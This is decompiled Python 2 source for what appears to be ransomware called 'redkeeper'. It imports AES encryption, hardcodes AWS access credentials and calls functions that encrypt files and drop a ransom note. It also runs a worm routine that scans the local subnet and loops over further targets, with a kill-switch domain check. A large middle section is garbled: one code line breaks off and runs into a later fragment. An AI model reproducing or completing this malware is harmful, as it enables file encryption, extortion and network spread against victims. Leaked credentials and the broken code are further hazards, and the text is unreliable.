# uncompyle6 version 2.11.5 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.16 (default, Apr 12 2019, 15:32:40) # [GCC 4.2.1 Compatible Apple LLVM 10.0.1 (clang-1001.0.46.3)] # Embedded file name: redkeeper.py # Compiled at: 2018-09-20 11:31:08 from os.path import expanduser import socket import glob import os from random import randint, choice import struct import string from Crypto.Cipher import AES from Crypto.Hash import SHA256 from Crypto import Random import requests import sys aws_access_key_id = 'AKIA35OHX2DSKHT73VPQ' aws_secret_access_key = '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' def pdu_connect_initial(hostname): host_name = '' for i in hostname: host_name += struct.pack(' 1000000000: sys.exit() except Exception as e: pass if not check_domz(switch): encrypt_files() drop_note(nyan) local_ip = get_local_ip() ip_parts = local_ip.split('.') for ip in trigger_SB_IPs: worm(ip) for i in range(1, 255): ip_parts[3] = str(i) worm('.'.join(ip_parts)) while True: if not check_domz(switch): worm(get_worm_target()) else: print 'Hero Detected' # okay decompiling redkeeper_fixed.pyc